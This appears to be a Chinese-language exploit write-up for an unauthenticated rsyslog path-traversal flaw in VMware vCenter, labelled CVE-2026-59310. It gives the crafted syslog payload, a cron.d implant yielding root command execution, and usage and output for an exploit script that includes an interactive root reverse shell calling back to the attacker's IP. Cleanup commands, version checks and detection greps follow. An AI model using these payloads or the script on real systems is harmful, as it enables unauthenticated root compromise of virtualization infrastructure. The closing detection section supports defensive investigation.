29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

24: $EscapeControlCharactersOnReceive off

① 无认证 UDP 包  →  ② RFC5424 APP-NAME 携带遍历  →  ③ 逃出日志目录任意写（root）
                                                          ↓
                     ⑤ root 代码执行  ←  ④ /etc/cron.d 植入计划任务

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

目录 = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
文件 = 同上 + "-syslog.log"                          →  /tmp/PWNED-syslog.log

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron 报 "bad minute"，忽略
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← 被当作合法 cron 行执行
#

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 命名空间版本: 9.0.0.0  (非 appliance build，仅供指纹参考)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 已发送。预期在目标上生成 root 属主文件

# 目标上：
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 已植入      : /etc/cron.d/cve59310<name>-syslog.log
[i] 读取结果    : cat /tmp/cve59310_<name>.txt

# 约 60s 后：
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

$ python3 exploit_cve_2026_59310.py <target> --lhost <你的IP> --lport 4444
[+] 已监听 0.0.0.0:4444
[+] 已植入      : /etc/cron.d/cve59310<name>-syslog.log
[+] 回连成功，来自 <target>:56184  —— root shell 已建立

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

# 1) 交互式 root 反弹 shell（最常用）
python3 exploit_cve_2026_59310.py <target> --lhost <你的IP> --lport 4444

# 2) 执行单条命令，输出写入目标 /tmp/<name>.txt
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) 非破坏性验证：仅证明无认证任意文件写入
python3 exploit_cve_2026_59310.py <target> --check

# 4) 查看清理命令
python3 exploit_cve_2026_59310.py <target> --cleanup

python3 poc_vcenter_rce.py <target> --check              # 验证任意写
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # 命令执行
python3 poc_vcenter_rce.py <target> --cleanup            # 清理提示

python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

# 在 vCenter Shell 中查看版本（Build < 25629525 的 9.0 分支即为未修复）
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# 查看是否存在易受攻击的动态路径模板
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# 查看是否开启换行穿透
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

# 1) /etc/cron.d 下异常文件（重点：带 -syslog.log 后缀的条目）
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null

# 2) 日志目录外的可疑 *-syslog.log 文件（全盘扫描，最有效）
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) 由遍历产生的异常目录（注意路径中含 .. 或 % 等字符的目录）
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) VAMI 静态目录被写入的内容
ls -la /opt/vmware/share/htdocs/

# 5) syslog 转发日志中的 hostname 异常（含 / 或 .. 的 APP-NAME）
grep -nE '(\.\./|/)' /var/log/vmware/messages | head